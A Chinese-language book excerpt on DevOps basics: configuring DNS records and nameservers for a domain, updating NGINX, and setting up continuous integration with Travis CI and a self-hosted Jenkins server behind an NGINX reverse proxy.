前往 namecheap.com 并搜索您想要注册的域名(许多域名的年费低于 1 美元);我们将使用 hobnob.social
。然后,按照屏幕上的说明完成订单。
理解 DNS
现在,我们有一个域名和一个 VPS,所以是时候将它们关联起来了。但首先,我们需要简要解释 DNS 的工作原理。
以下概述是对域名解析过程的简化。为了简洁起见,省略了许多细节。对于过程的全面了解,请查看我的博客文章,解析域名,您可以在 blog.danyll.com/resolving-domain-names/ 找到。
DNS 的职责是将完全限定域名(FQDNs)解析为 IP 地址。当你你在浏览器中输入一个 URL 时,你的电脑会首先检查你的/etc/hosts
文件以本地解析 IP。如果找不到,它将请求一个解析域名服务器,这通常由你的互联网服务提供商(ISP)提供。解析域名服务器会首先检查其内部缓存,如果可用则使用缓存条目。如果找不到你的 FQDN 的条目,它将查询顶级域名(TLD)域名服务器。它们将返回一个域名级域名服务器(也称为域名服务器或授权域名服务器)的 IP 地址,这是实际持有该域名的 DNS 记录(A
、CNAME
、NS
等)的区域文件的服务器。
域名服务器通常由注册该域名的注册商控制(在我们的例子中是 Namecheap)。最后,域名服务器将返回 FQDN 的实际 IP 地址给我们的解析域名服务器,然后它将信息转回给我们。
更新域名服务器
因此,为了将我们的域名配置为解析到服务器的 IP 地址,我们需要更新域名服务器的区域文件。目前,我们的域名正在使用 Namecheap 的域名服务器,我们可以通过 Namecheap 的管理 UI 来更新区域文件。
然而,这种方法意味着我们不得不使用 DigitalOcean 来管理我们的服务器,使用 Namecheap 来管理我们的域名。如果能在一个平台上完成所有日常管理任务会更容易。幸运的是,DigitalOcean 也有自己的域名服务器,我们可以使用。
现在,我们只需要在 Namecheap 的管理 UI 中更新 TLD 服务器以使用 DigitalOcean 的域名服务器,并使用 DO 的管理 UI 更新区域文件。
前往你的 Namecheap 控制台(ap.www.namecheap.com)并选择你的域名。在域名选项卡中,应该有一个名为“Nameservers”的部分。选择自定义 DNS 部分,并添加 DigitalOcean 的域名服务器,它们是ns1.digitalocean.com
、ns2.digitalocean.com
和ns3.digitalocean.com
。然后,确保按下绿色的勾号以保存你的更改:
由于解析域名服务器会缓存结果,我们的更改可能需要长达 48 小时才能传播到所有域名服务器。你可以使用如whatsmydns.net这样的服务来检查全球不同域名服务器的传播进度。最初,你会看到它们都指向原始域名服务器(dns1.registrar-servers.com
),但几分钟后,其中许多已经改为使用 DigitalOcean 服务器(nsx.digitalocean.com
):
当我们等待 DNS 更改传播时,我们可以访问 DigitalOcean 并使用 DigitalOcean 的 UI 构建我们的区域文件。
构建我们的区域文件
区域文件是一个文本文件,它描述了一个DNS 区域,即由单个实体管理的域名空间中的任何独立、连续的部分。在大多数情况下,DNS 区域的边界局限于单个域名;因此,就我们的目的而言,DNS 区域与域名相同。
区域文件由许多记录组成。每个记录都是主机名和资源之间的映射。让我们使用 DigitalOcean 管理 UI 来可视化这些记录并构建我们的区域文件。
我们正在使用 DigitalOcean 提供的管理 UI 来管理我们的 DNS 设置。如果您选择了不同的托管提供商,UI 可能会有所不同,但原则是相同的。例如,亚马逊网络服务(AWS)有一个等效的服务,称为 Route 53。
确保您已登录到 DigitalOcean 的控制面板,然后转到网络选项卡(cloud.digitalocean.com/networking/domains)。在“添加域名”处输入您的域名,然后点击“添加域名”按钮:
接下来,您将看到一个屏幕,我们可以添加和更新hobnob.social
的区域文件记录:
NS 记录已经为您设置好了,所以我们首先来谈谈这个问题。
NS 记录
NS 记录指定了解析主机名到 IP 地址所使用的域名服务器。您可能会问为什么区域文件需要 NS 记录?因为它基本上是引用自身的。这是因为 NS 记录可能会发生变化,其他服务器需要更新为新域名服务器的 IP/主机名。
之前,它指向dns1.registrar-servers.com
,并在许多解析名称服务器中被缓存。当这些解析名称服务器查询dns1.registrar-servers.com
以获取hobnob.social
的 IP 地址时,它们看到 NS 记录已更新为ns1.digitalocean.com
,并将请求发送到 DigitalOcean 的域名服务器。
我们可以使用名为dig
的程序从区域文件中获取我们域的记录:
$ dig NS hobnob.social
hobnob.social. 1799 IN NS ns1.digitalocean.com.
hobnob.social. 1799 IN NS ns2.digitalocean.com.
hobnob.social. 1799 IN NS ns3.digitalocean.com.
第一个值是域名;第二个是生存时间(TTL)值,即此记录应缓存多长时间(以秒为单位)。第三个值IN
代表“互联网”,几乎在所有记录中都会出现。第四个值NS
表示此记录应被视为 NS 记录。最后,记录的最后一部分是记录的值;在这种情况下,它是 DigitalOcean 域名服务器的主机名。
有多个 NS 记录(和多个域名服务器),这样如果其中一个服务器宕机或过载,它可以使用其他域名服务器。
A 和 AAAA
下一个最重要的记录类型是 A
和 AAAA
记录,它们将主机名映射到 IP 地址。A
记录将主机映射到 IPv4 地址,而 AAAA
记录将其映射到 IPv6 地址。
我们希望将 api.hobnob.social
指向运行我们服务器(142.93.241.63
)的服务器,因此我们需要创建以下 A
记录:
api IN A 142.93.241.63
我们还可以将前往 hobnob.social
的流量定向到相同的 IP 地址。但我们可以用 @
符号代替完整的域名(hobnob.social
):
@ IN A 142.93.241.63
你可以在区域文件顶部设置两个参数:$ORIGIN
和 $TTL
。$ORIGIN
应设置为 DNS 区域的最高级别权限,在大多数情况下是域名。$TTL
(生存时间)参数指示名称服务器应缓存此区域文件多长时间。
在我们的记录中,我们可以使用 @
符号作为 $ORIGIN
参数的占位符/替代符。
由于这些设置通常不需要更改,DigitalOcean 已为我们设置它们,但未在管理界面中公开。
许多域名也有一个 通配符 记录,它将所有未指定记录的流量定向到 IP 地址:
* IN A 142.93.241.63
然而,使用通配符(*
)并不是一个好的做法,因为恶意方可以使用子域(如 scam.hobnob.social
)链接到你的域名。如果我们没有通配符记录,当谷歌爬取该链接时,它将收到一个错误,表示无法到达该主机。但是,如果你有通配符记录,请求将被定向到你的服务器,并且你的网络服务器可以选择提供默认服务器块。这可能会使 scam.hobnob.social
成为人们搜索 hobnob.social
时的顶级结果,这并不理想。
权威开始(SOA)
你需要了解的最后一条记录是 SOA 记录,这是所有区域文件中的强制记录,用于描述区域并配置名称服务器应多久更新此域的区域文件。它还有一个版本计数器,确保只有区域文件的最新版本被传播:
hobnob.social. IN SOA ns1.digitalocean.com. dan.danyll.com ( <serial>, <refresh>, <retry>, <expiry>, <negativeTTL> )
前几个值与 NS 记录中的值类似。其余的如下:
-
ns1.digitalocean.com
是 主主名称服务器,它保存最新的区域文件。可能有 从属名称服务器,它们镜像主名称服务器以减少其负载。 -
dan.danyll.com
是负责此 DNS 区域的管理员的电子邮件地址。@
符号已被点号(.
)替换;如果你的电子邮件地址中包含点号,它将被反斜杠(\
)替换。 -
<serial>
是区域文件的序列号,本质上是一个版本计数器。每次你的区域更新时,你也应该将序列号增加1
。从属名称服务器将检查此序列号以确定它们的区域文件是否过时。 -
<refresh>
是从属名称服务器在 ping 主服务器以查看是否需要更新其区域文件之前将等待的时间。 -
<retry>
是从属域名服务器在再次 ping 主服务器之前将等待的时间长度,如果之前的连接尝试失败。 -
<expiry>
是区域文件仍然被认为是有效的时间长度,即使它已经无法连接到主服务器来更新它。 -
<negativeTTL>
是域名服务器缓存失败的查找的时间长度。
再次,由于这些值不需要经常更改,并且由于每次我们更新区域文件时都必须手动更新序列号既麻烦又容易出错,DigitalOcean 已经为我们预设并隐藏了这些值。当我们在 DigitalOcean 的 Web 控制台中更新记录时,DigitalOcean 会为我们更新 SOA 记录。
现在,请确保你已经为api.hobnob.social
子域名设置了 A 记录,然后继续到下一节。
更新 NGINX
现在我们已经配置了子域名的 DNS 设置,我们可以更新我们的 NGINX 配置文件,使其以我们的域名命名。
在/etc/nginx/sites-available
和/etc/nginx/sites-enabled
目录中,更新文件的名称为相应的 FQDN(不包括尾随的点):
hobnob@hobnob:$ cd /etc/nginx/sites-available/
hobnob@hobnob:$ sudo mv api api.hobnob.social
hobnob@hobnob:$ cd /etc/nginx/sites-enabled/
hobnob@hobnob:$ sudo rm api
hobnob@hobnob:$ sudo ln -s /etc/nginx/sites-available/api.hobnob.social \
/etc/nginx/sites-enabled/
最后,更新配置文件以包含server_name
指令。例如,api.hobnob.social
服务器块现在看起来像这样:
server {
listen 80 default_server;
server_name api.hobnob.social
location / {
proxy_pass http://localhost:8080;
}
}
现在,重新加载我们的 NGINX 配置以确保更改生效:
$ sudo systemctl reload nginx.service
现在,尝试向api.hobnob.social
发送请求,你应该看到 API 服务器正确响应!
摘要
在本章中,我们已经将我们的代码部署到 VPS 上,并将其暴露给外部世界——首先是通过静态 IP 地址,然后是通过域名。
在下一章中,我们将探讨持续集成(CI)和持续部署(CD),看看我们如何自动化在上一章中引入的测试和部署步骤。你将有机会与Travis CI和Jenkins(一个构建自动化工具)一起工作。
看得更远一些,在第十七章,迁移到 Docker和第十八章,使用 Kubernetes 构建健壮的基础设施中,我们将使用Docker 容器和Kubernetes来使我们的部署更具可扩展性和可靠性。
第十一章:持续集成
在前面的章节中,我们采用了一种 测试驱动开发 (TDD) 的方法来开发一个后端 API 服务器,该服务器公开了一个用户目录平台。然而,在我们的工作流程中仍有许多可以改进的地方:
-
我们在我们的本地、开发环境中运行测试,这可能包含导致测试结果不准确的艺术品
-
手动执行所有这些步骤既慢又容易出错
在本章中,我们将通过集成一个 持续集成 服务器来消除这两个问题。本质上,CI 服务器是一种监视仓库更改的服务,然后在一个干净的环境中自动运行测试套件。这确保了测试结果更加确定性和可重复性。换句话说,它防止了在某些人的机器上工作但在另一些人的机器上不工作的情况。
通过遵循本章,你将:
-
理解 CI 是什么
-
将我们的 GitHub 仓库与名为 Travis 的托管 CI 平台集成
-
设置一个自托管的 Jenkins 服务器
-
当新的更改推送到 GitHub 时,设置我们的测试套件运行
-
理解 管道,特别是 声明式 和 脚本式管道 之间的区别
持续集成 (CI)
在一个大规模项目中,你将同时有许多开发者正在开发许多功能、发布、热修复等。CI 是一种 持续集成 不同开发者工作的实践。这意味着将功能分支的代码合并到 dev
分支,或者从发布分支合并到 master
。在每次集成点,都有可能集成导致某些东西出错。因此,我们必须在这些集成点进行测试,并且只有当所有测试通过时才进行集成。
我们已经在当前的工作流程中这样做,但它是以手动方式完成的。通过自动构建和测试来检测这些集成点中的错误,它允许软件开发团队的成员频繁地集成他们的工作。
通过实践 CI,我们可以遵守“尽早测试,经常测试”的格言,并确保尽早识别和修复错误。这也意味着在任何时候,我们都将始终有一个可以部署的完全功能性的代码库。
我们已经通过使用健壮的 Git 工作流程和拥有全面的测试套件为遵循此实践奠定了基础。下一步是引入 CI 服务器。
选择一个 CI 服务器
有许多在线 CI 服务(例如 Travis、CircleCI、Bamboo 和 Shippable)以及自托管的 CI 兼容平台(例如 Jenkins、TeamCity、CruiseControl 和 BuildBot)。对于 CI,它们基本上具有相同的功能集,并且可以执行以下任务:
-
当触发事件时,挂钩到事件并执行预定义的任务。例如,当新的 Git 提交被推送到仓库时,CI 服务器将构建应用程序并运行测试。
-
在一个干净、独立的环境中运行任务。
-
将任务链在一起,以便某些任务在先前任务完成后触发。例如,测试完成后,将构建和测试结果通过电子邮件发送给所有开发者。
-
存储构建和测试结果的历史记录。
由于每个 CI 平台都能满足我们的需求,我们选择哪个 CI 服务器的决定归结于是否使用托管或自托管解决方案。一如既往,每种方法都有其优缺点:
-
成本:大多数托管 CI 服务对开源项目是免费的,但私有仓库需要付费计划。然而,托管自己的 CI 服务器也会产生运行服务器的成本。
-
自给自足:依赖外部服务进行工作流程意味着如果外部服务中断,工作流程将会中断。然而,大多数托管 CI 服务都有非常好的正常运行时间,因此可用性不应成为重大问题。
-
灵活性:使用自托管解决方案,你可以完全控制 CI 服务器,并通过插件或包扩展代码和功能集。另一方面,如果你需要一个托管 CI 服务器不支持的功能,你必须提出支持票据/功能请求,并希望它会被实现。
在本章中,我们将分别使用 Travis 和 Jenkins 演示托管和自托管解决方案。然而,本章的大部分内容将专注于 Jenkins,因为它是比 Travis 更强大、更通用的自动化服务器。
集成 Travis CI
Travis 是一个在线 CI 服务,用于安装、构建和测试我们的项目。Travis 对开源项目是免费的,并且与其他流行的服务如 GitHub 很好地集成。而且无需安装——我们只需在我们的仓库根目录中包含一个.travis.yml
配置文件,并在 Travis 的 Web 应用程序中配置仓库即可。Travis 的学习曲线非常平缓,可以为我们节省大量时间。要开始,请访问travis-ci.org并使用你的 GitHub 账户登录。
Travis 有两个 URL travis-ci.org,用于开源项目,以及 travis-ci.com,用于私有项目。请确保你使用的是正确的 URL。
它会要求你提供许多权限;这些权限是 Travis 执行以下操作所必需的:
-
读取与你账户关联的所有仓库的内容:这允许 Travis 查看
.travis.yml
文件的内容,以及能够克隆你的仓库以进行构建/测试。 -
安装 webhooks 和服务:这允许 Travis 将钩子添加到你的仓库中,因此当任何更改推送到你的仓库时,GitHub 可以通知 Travis 并执行
.travis.yml
文件中定义的指令。 -
注册到提交状态 API:这允许 Travis 通知 GitHub 构建测试的结果,以便 GitHub 可以更新其用户界面。
在你审查了这些权限之后,点击授权 travis-ci:
在授权步骤之后,你将被带回到主要的 Travis 仪表板,在那里你可以看到你控制下的每个仓库:
在这里,我们只有一个项目,我们应该通过点击切换按钮来启用它。这将使 Travis 为该仓库安装一个 GitHub 服务钩子。一旦安装,GitHub 就会在更改推送到该仓库时向 Travis 发送消息。
配置 Travis CI
Travis 现在将通知仓库中的任何更改,但我们还没有提供检测到更改后要执行的指令。因此,在项目目录的根目录下创建一个名为 .travis.yml
的配置文件。
注意 travis
前面的点(.
),以及文件扩展名是 yml
,而不是 yaml
。
指定语言
在 .travis.yml
中,我们首先必须指定项目编写的主要语言。这允许 Travis 安装所需的依赖项,并使用适当的默认设置和配置。例如,如果我们指定我们的项目是用 Node.js 编写的,Travis 将默认配置自己通过运行 npm install
来安装依赖项,并通过运行 npm test
来测试应用程序。它还会在根目录中查找 yarn.lock
文件,如果存在,则使用 yarn install
和 yarn run test
命令。
因此,在 .travis.yml
文件内添加以下行来通知 Travis 该项目使用 Node.js:
language: node_js
使用 Node.js,你还可以指定构建和测试要运行的 Node.js(或 io.js)版本。你可以通过主版本、次版本和补丁版本来指定 Node 版本,它将获取满足该标准的最新版本。你也可以使用字符串 "node"
来获取最新的稳定版 Node.js,或者使用 "lts/*"
来获取最新的 LTS 版本 Node.js。
由于这是一个服务器端应用程序,我们控制着应用程序运行的环境。因此,如果我们想的话,我们可以在 .nvmrc
文件中指定的 Node.js 版本(8.11.4
)上运行我们的测试。然而,由于这个过程是自动化的,Travis 可以并行运行这些测试,因此运行额外测试的成本非常低。因此,我们应该针对未来的 Node.js 版本运行我们的测试;这样做将防止过时的语法被引入到我们的项目中。
因此,更新我们的 .travis.yml
到以下内容:
language: node_js
node_js:
- "node"
- "lts/*"
- "8"
- "8.11.4"
设置数据库
我们的代码还依赖于一个运行中的 Elasticsearch 实例;因此,我们需要在 .travis.yml
文件中通过添加 services
属性来指定这个需求:
services:
- elasticsearch
这将在 Travis 服务器实例上使用默认配置(即端口 9200
)安装并启动 Elasticsearch。然而,建议运行特定的 Elasticsearch 版本——与我们本地运行的相同版本——以确保我们得到与我们的开发环境一致的结果。因此,在 services
块下方添加以下 before_install
块:
before_install:
- curl -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.3.2.deb
- sudo dpkg -i --force-confnew elasticsearch-6.3.2.deb
- sudo service elasticsearch restart
Elasticsearch 服务可能需要一些时间才能启动;因此,我们也应该告诉 Travis 在尝试运行测试之前等待几秒钟。
before_script:
- sleep 10
设置环境变量
最后,我们的应用程序从环境中读取变量。由于 .env
和 test.env
文件不是我们仓库的一部分,我们需要手动将它们提供给 Travis。我们可以通过添加一个 env.global
块来完成此操作:
env:
global:
- NODE_ENV=test
- SERVER_PROTOCOL=http
- SERVER_HOSTNAME=localhost
- SERVER_PORT=8888
- ELASTICSEARCH_PROTOCOL=http
- ELASTICSEARCH_HOSTNAME=localhost
- ELASTICSEARCH_PORT=9200
- ELASTICSEARCH_INDEX=test
我们最终的 .travis.yml
应该看起来像这样:
language: node_js
node_js:
- "node"
- "lts/*"
- "8"
- "8.11.4"
services:
- elasticsearch
before_install:
- curl -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.3.2.deb
- sudo dpkg -i --force-confnew elasticsearch-6.3.2.deb
- sudo service elasticsearch restart
before_script:
- sleep 10
env:
global:
- NODE_ENV=test
- SERVER_PROTOCOL=http
- SERVER_HOSTNAME=localhost
- SERVER_PORT=8888
- ELASTICSEARCH_PROTOCOL=http
- ELASTICSEARCH_HOSTNAME=localhost
- ELASTICSEARCH_PORT=9200
- ELASTICSEARCH_INDEX=test
更多关于 .travis.yml
文件中不同字段的详细信息,请参阅 docs.travis-ci.com/user/customizing-the-build/。
激活我们的项目
接下来,前往 travis-ci.org 确保您的项目已激活:
现在,将 .travis.yml
提交到项目目录的根目录,并将更改推送到 GitHub。GitHub 服务钩子现在将通知 Travis 发生更改,Travis 将克隆仓库,构建应用程序,并运行测试。测试完成后(或在出现错误的情况下终止),它将在 Travis 仪表板上显示报告。结果也将与 GitHub 共享,以便它可以更新其用户界面。
检查 Travis CI 结果
Travis 构建要么通过要么失败。如果构建失败,它将伴随一个红色交叉:
默认情况下,Travis 还会发送一封电子邮件通知我们构建和测试的结果:
Travis 还集成了 GitHub 的 Commit Status API (developer.github.com/v3/repos/statuses/),这使得第三方可以为提交附加状态。在这里,Travis 将失败状态附加到注释中,显示为提交时间旁边的红色交叉指示器:
但最重要的是,每次运行还会保存日志的历史记录,因此,在出现错误的情况下,开发者能够快速定位问题并进行修复:
与 Jenkins 的持续集成
现在您已经知道如何与 Travis CI 集成,并了解可以从 CI 服务器期望什么,让我们尝试使用 Jenkins,一个自托管的替代方案,来复制相同的结果。我们在这里选择 Jenkins 是因为,在撰写本文时,它是最受欢迎的 CI 工具,拥有超过 100 万用户和 15 万次安装。
首先,我们将为您简要介绍 Jenkins,然后我们将安装并集成它到我们的仓库中。
Jenkins 简介
虽然 Travis 是一个纯 CI 服务器,但 Jenkins 的功能更为强大。一般来说,Jenkins 是一个开源的自动化服务器。这意味着它可以自动化任何手工操作困难的过程,无论是由于重复性、耗时、易出错,还是以上所有原因。例如,我们可以使用 Jenkins 进行以下操作:
-
构建/打包应用程序
-
动态生成文档
-
运行部署前 E2E/集成/单元/UI 测试
-
将应用程序部署到各种测试环境(例如,开发、预发布)
-
运行部署后测试
-
将应用程序部署到生产环境
此外,这些过程可以串联起来形成工作流程,其中某个过程的执行依赖于前一个过程的结果。配置这些自动化工作流程有两种方式——作为自由式项目,或作为管道。
自由式项目
自由式项目(又称工作,或简称项目)是所有自动化任务在 Jenkins 中必须定义的原始方法。自由式项目简单来说就是 Jenkins 应执行的一组用户定义的任务。例如,一个项目可能涉及从 Git 仓库构建应用程序,而另一个项目则用于在此构建的应用程序上运行测试。
术语自由式项目、项目和工作是同义的。术语工作在 Web 界面的 UI 中常用,但它已被弃用,在这本书中我们将使用术语项目。
你可以使用 Web 界面配置自由式项目,这允许你定义以下内容:
-
源代码管理(SCM):指定 Jenkins 如何获取构建/测试的起始源代码。
-
构建触发器:指定此项目何时执行。例如,你可能希望在将新提交推送到仓库时触发构建;或者每晚 00:00 构建项目以生成夜间构建。
-
构建环境。
-
构建:允许你指定构建步骤。尽管其名称如此,你实际上可以将任何 shell 命令,如测试运行器,作为构建步骤运行。
-
构建后操作:允许你在构建步骤完成后执行指定命令。例如,你可以通过电子邮件将测试结果发送给系统管理员。此外,你可以使用构建后操作来触发另一个项目执行。这样,你可以形成一个项目链,一个接一个地运行。
管道
自由式项目功能强大,并且多年来一直是主流。然而,它在几个方面被发现存在不足:
-
当 Jenkins 的前身 Hudson 被编写时,使用 UI 进行配置是标准做法。然而,在过去的几年里,生态系统已经转向 Configuration-as-Code (CaC),其中配置可以在源代码控制中进行跟踪。
-
Jenkins 将 freestyle 项目的配置文件保存在 Jenkins 服务器上的
/var/lib/jenkins/jobs/
目录下。这意味着如果 Jenkins 服务器被破坏,所有的配置设置都会丢失。此外,配置文件是用 XML 编写的,难以阅读。 -
虽然使用后置构建操作将多个 freestyle 项目链接在一起是可能的,但你很可能会最终拥有许多重复的项目,每个项目都有不同的后置构建操作步骤。
为了解决这些问题,Jenkins 2.0 引入了一个名为 P****ipeline 的功能,它允许你执行以下操作:
-
与通过后置构建步骤将多个 freestyle 项目链接在一起不同,使用 Pipeline,你可以指定许多顺序的 步骤,这些步骤可以可选地分组为 阶段。在 Pipeline 中,下游步骤/阶段的执行取决于链中先前步骤/阶段的输出。只有当前面的步骤成功时,后续的步骤才会运行。例如,如果测试没有通过,那么部署步骤就不会执行。
-
允许你使用
Jenkinsfile
指定步骤:这是你代码库的一部分的配置文件。这种 CaC(或“pipeline as code”)方法意味着对 pipeline 所做的所有更改都可以在 Git 中跟踪,Pipeline 可以进行分支和合并,任何损坏的 Pipeline 都可以回滚到最后已知良好的版本。此外,即使 Jenkins 服务器损坏,配置也会幸存,因为Jenkinsfile
存储在仓库中,而不是 Jenkins 服务器上;这也意味着你可以使用任何可以访问仓库的 Jenkins 服务器来构建项目。
注意,你仍然可以使用 Jenkins 网页界面来定义你的 Pipeline,尽管将 Jenkinsfile 检入 Git 仓库是推荐的方法。
Pipeline 功能由默认安装的 pipeline 插件启用。要定义一个 pipeline,你必须使用 pipeline 领域特定语言 (DSL) 语法编写,并将其保存到名为 Jenkinsfile
的文本文件中。一个简单的 Jenkinsfile
看起来像这样:
pipeline {
agent { docker 'node:6.3' }
stages {
stage('build') {
steps {
sh 'npm --version'
}
}
}
}
在本章的剩余部分,我们将专注于使用 Jenkins 来复制 Travis CI 的功能,具体包括以下内容:
-
与 GitHub 集成,以便在将更改推送到我们的项目仓库时向我们的 Jenkins 服务器发送消息
-
每当 Jenkins 收到那条消息时,它将检出源代码,并在一个干净且隔离的环境中运行测试
设置新的 Jenkins 服务器
使用 Travis-GitHub 集成,当 GitHub 检测到存储库中任何分支的更改时,它将向 Travis 的服务器发送消息,服务器将克隆存储库,构建它并运行测试。因此,为了使用 Jenkins 复制此行为,我们必须设置一个 Jenkins CI 服务来接收 GitHub 的消息并运行我们的测试。
我们可以在与我们的 API 服务器相同的机器上运行我们的 Jenkins 服务器。然而,如果我们的 Jenkins 作业意外地使机器崩溃,它也会使我们的 API 服务器关闭。因此,将 Jenkins CI 部署在单独的服务器上要安全得多。
因此,前往您的 VPS 提供商(我们将使用 DigitalOcean)并配置一个新的 VPS 服务器。Jenkins 服务器在空闲时大约使用 600 MB 的内存;因此,选择至少有 2 GB 内存的服务器。
如果您忘记了如何设置和配置新的 VPS,请参阅第十章,在 VPS 上部署您的应用程序。
此外,由于我们已经有了一对 SSH 密钥,我们可以简单地选择该 SSH 密钥用于此 VPS,而无需手动将我们的 SSH 密钥上传到服务器。
创建 Jenkins 用户
一旦您有一个运行的 VPS,请使用 sudo
权限创建一个名为 jenkins
的用户:
root@ci:# adduser jenkins
root@ci:# usermod -aG sudo jenkins
然后,为了允许我们以受限用户 jenkins
而不是 root
登录服务器,我们必须首先将我们的开发机的公钥添加到 /home/jenkins/.ssh/authorized_keys
;最简单的方法是复制 /root/.ssh/
目录并更改其所有者:
root@ci:# cp -R /root/.ssh/ /home/jenkins/
root@ci:# chown -R jenkins:jenkins /home/jenkins/.ssh/
然后,通过编辑 /etc/ssh/sshd_config
来禁用密码认证和 root 登录:
PermitRootLogin no
PasswordAuthentication no
重新加载 SSH 守护进程以使新设置生效:
root@ci:# systemctl reload ssh.service
在新的终端中,尝试使用 jenkins
用户登录。一旦完成,继续以 jenkins
的身份完成其余的设置。
配置时间
接下来,让我们配置时区和 NTP 同步:
jenkins@ci:# sudo dpkg-reconfigure tzdata
jenkins@ci:# sudo apt update
jenkins@ci:# sudo apt install ntp
安装 Java
然后,我们需要安装和配置 Java(将 java-8-openjdk-amd64
替换为您的 Java 版本):
jenkins@ci:# sudo apt update && sudo apt install -y openjdk-8-jdk
jenkins@ci:# echo 'JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64"' | sudo tee --append /etc/environment > /dev/null
在撰写本文时,Jenkins 与 Java 8 配合得最好。Java 10 和 11 的支持仍然是实验性的(见 jenkins.io/blog/2018/06/17/running-jenkins-with-java10-11/)。这就是为什么我们使用 openjdk-8-jdk
软件包而不是 default-jdk
的原因。
安装 Jenkins
Jenkins 有两个主要版本:
-
每周:每周发布一次。
-
长期支持(LTS):每 12 周发布一次。Jenkins 团队从上次 LTS 发布以来选择最稳定的版本,并将其指定为下一个 LTS 版本。
对于企业平台,我们希望使用最新且最稳定的版本;因此,我们将安装最新的 LTS 版本,目前是 2.138.1
。
安装 Jenkins 有许多方法,如下所示:
-
它以 Web 应用程序存档(WAR)或
.war
文件的形式分发,这只是一个资源集合,这些资源共同构成了一个 Web 应用程序。WAR 文件是 Java 编写的 Web 应用程序的分发方式;任何支持 Java 的操作系统都能够运行 WAR 文件。您可以从mirrors.jenkins.io/war-stable/latest/jenkins.war下载它,并使用java -jar jenkins.war --httpPort=8765
直接运行它。然后它将在端口8765
上可用。 -
作为 Docker 容器,您可以从hub.docker.com/r/jenkins/jenkins/下载。
-
作为特定发行版的软件包——不同的操作系统也在它们的仓库中维护自己的 Jenkins 软件包。包括 Ubuntu/Debian、Red Hat/Fedora/CentOS、Windows 和 macOS 在内的最常见系统的 Jenkins 软件包由 Jenkins 团队维护。
理想情况下,我们将在隔离的 Docker 容器内运行我们的 Jenkins 服务器(以及所有其他相关内容),然而,这需要了解容器和 Docker,这将在学习 Jenkins 的同时变得过于复杂。因此,在本章中,我们将使用 APT 仓库提供的 Jenkins 软件包,您可以在阅读第十七章迁移到 Docker 后迁移到使用 Docker。
首先,获取 Jenkins 仓库的公钥并将其添加到 APT;这允许 APT 验证软件包的真实性:
jenkins@ci:$ wget -q -O - https://pkg.jenkins.io/debian-stable/jenkins.io.key | sudo apt-key add -
接下来,我们需要将 Jenkins 仓库添加到 APT 将要搜索的仓库列表中。这个列表存储在/etc/apt/sources.list
中,以及/etc/apt/sources.list.d/
目录下的文件中。因此,运行以下命令,这将创建一个新的jenkins.list
文件并将仓库地址存储在其中:
jenkins@ci:$ echo 'deb https://pkg.jenkins.io/debian-stable binary/' | sudo tee /etc/apt/sources.list.d/jenkins.list
最后,更新我们的本地软件包索引并安装 Jenkins:
jenkins@ci:$ sudo apt update && sudo apt -y install jenkins
安装将执行以下操作:
-
下载 WAR 文件并将其放置在
/usr/share/jenkins
。 -
创建一个名为
jenkins
的新用户,该用户将运行服务。 -
将 Jenkins 设置为在系统首次启动时运行的服务/守护进程。
-
创建一个
/var/log/jenkins/jenkins.log
文件,并将 Jenkins 的所有输出都重定向到这个文件。
您可以通过运行sudo systemctl status jenkins.service
来检查 Jenkins 服务的状态。
Jenkins 作为后台服务运行。它使用 Jetty 服务器(eclipse.org/jetty/)为用户提供一个交互的 Web 界面。默认情况下,此服务器将绑定到端口8080
。
8080
是一个非常常见的端口。如果您在运行 Jenkins 的现有服务器上,端口8080
已被另一个进程绑定,您可以通过编辑 Jenkins 配置文件中的HTTP_PORT
条目来更改 Jenkins 的默认端口——/etc/default/jenkins
。为了使此更改生效,请确保您运行sudo systemctl restart jenkins.service
。
安装 NGINX 作为反向代理。
现在,如果您在浏览器中访问 http://<server-ip>:8080
,您将看到 Jenkins 设置屏幕。但理想情况下,我们希望使用一个易于记忆的主机名。所以,就像我们为 API 服务器所做的那样,让我们安装 NGINX 来反向代理来自 jenkins.hobnob.social
的请求到 http://localhost:8080
:
jenkins@ci:$ echo "deb http://nginx.org/packages/ubuntu/ bionic nginx" | sudo tee -a /etc/apt/sources.list.d/nginx.list
jenkins@ci:$ echo "deb-src http://nginx.org/packages/ubuntu/ bionic nginx" | sudo tee -a /etc/apt/sources.list.d/nginx.list
jenkins@ci:$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ABF5BD827BD9BF62
jenkins@ci:$ sudo apt update
jenkins@ci:$ sudo apt install nginx
jenkins@ci:$ sudo mkdir /etc/nginx/sites-available /etc/nginx/sites-enabled
然后,在 /etc/nginx/nginx.conf
文件中,在 include /etc/nginx/conf.d/*.conf;
之后添加一行:
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
接下来,在 /etc/nginx/sites-available/jenkins.hobnob.social
创建一个 Jenkins 配置文件,并粘贴以下内容:
server {
listen 80 default_server;
server_name jenkins.hobnob.social;
root /var/cache/jenkins/war;
access_log /var/log/nginx/jenkins/access.log;
error_log /var/log/nginx/jenkins/error.log;
ignore_invalid_headers off;
location ~ "^/static/[0-9a-fA-F]{8}\/(.*)$" {
rewrite "^/static/[0-9a-fA-F]{8}\/(.*)" /$1 last;
}
location /userContent {
root /var/lib/jenkins/;
if (!-f $request_filename){
rewrite (.*) /$1 last;
break;
}
sendfile on;
}
location @jenkins {
sendfile off;
proxy_pass http://localhost:8080;
proxy_redirect default;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_max_temp_file_size 0;
client_max_body_size 10m;
client_body_buffer_size 128k;
proxy_connect_timeout 90;
proxy_send_timeout 90;
proxy_read_timeout 90;
proxy_buffering off;
proxy_request_buffering off;
proxy_set_header Connection "";
}
location / {
try_files $uri @jenkins;
}
}
此配置来自 wiki.jenkins.io/display/JENKINS/Running+Jenkins+behind+Nginx。最相关的部分已在前面加粗。
当有请求到达 jenkins.hobnob.social
时,它将匹配 location /
块,然后通过 proxy_pass
指令(http://localhost:8080
)代理请求到运行在该指令的服务。同样,当内部服务返回响应时,proxy_redirect
指令将重写响应的 Location
头部,并将 http://localhost:8080
替换为 http://jenkins.hobnob.social
。
现在我们已经准备好了服务器块,使用符号链接将其添加到 /etc/nginx/sites-enabled/
目录:
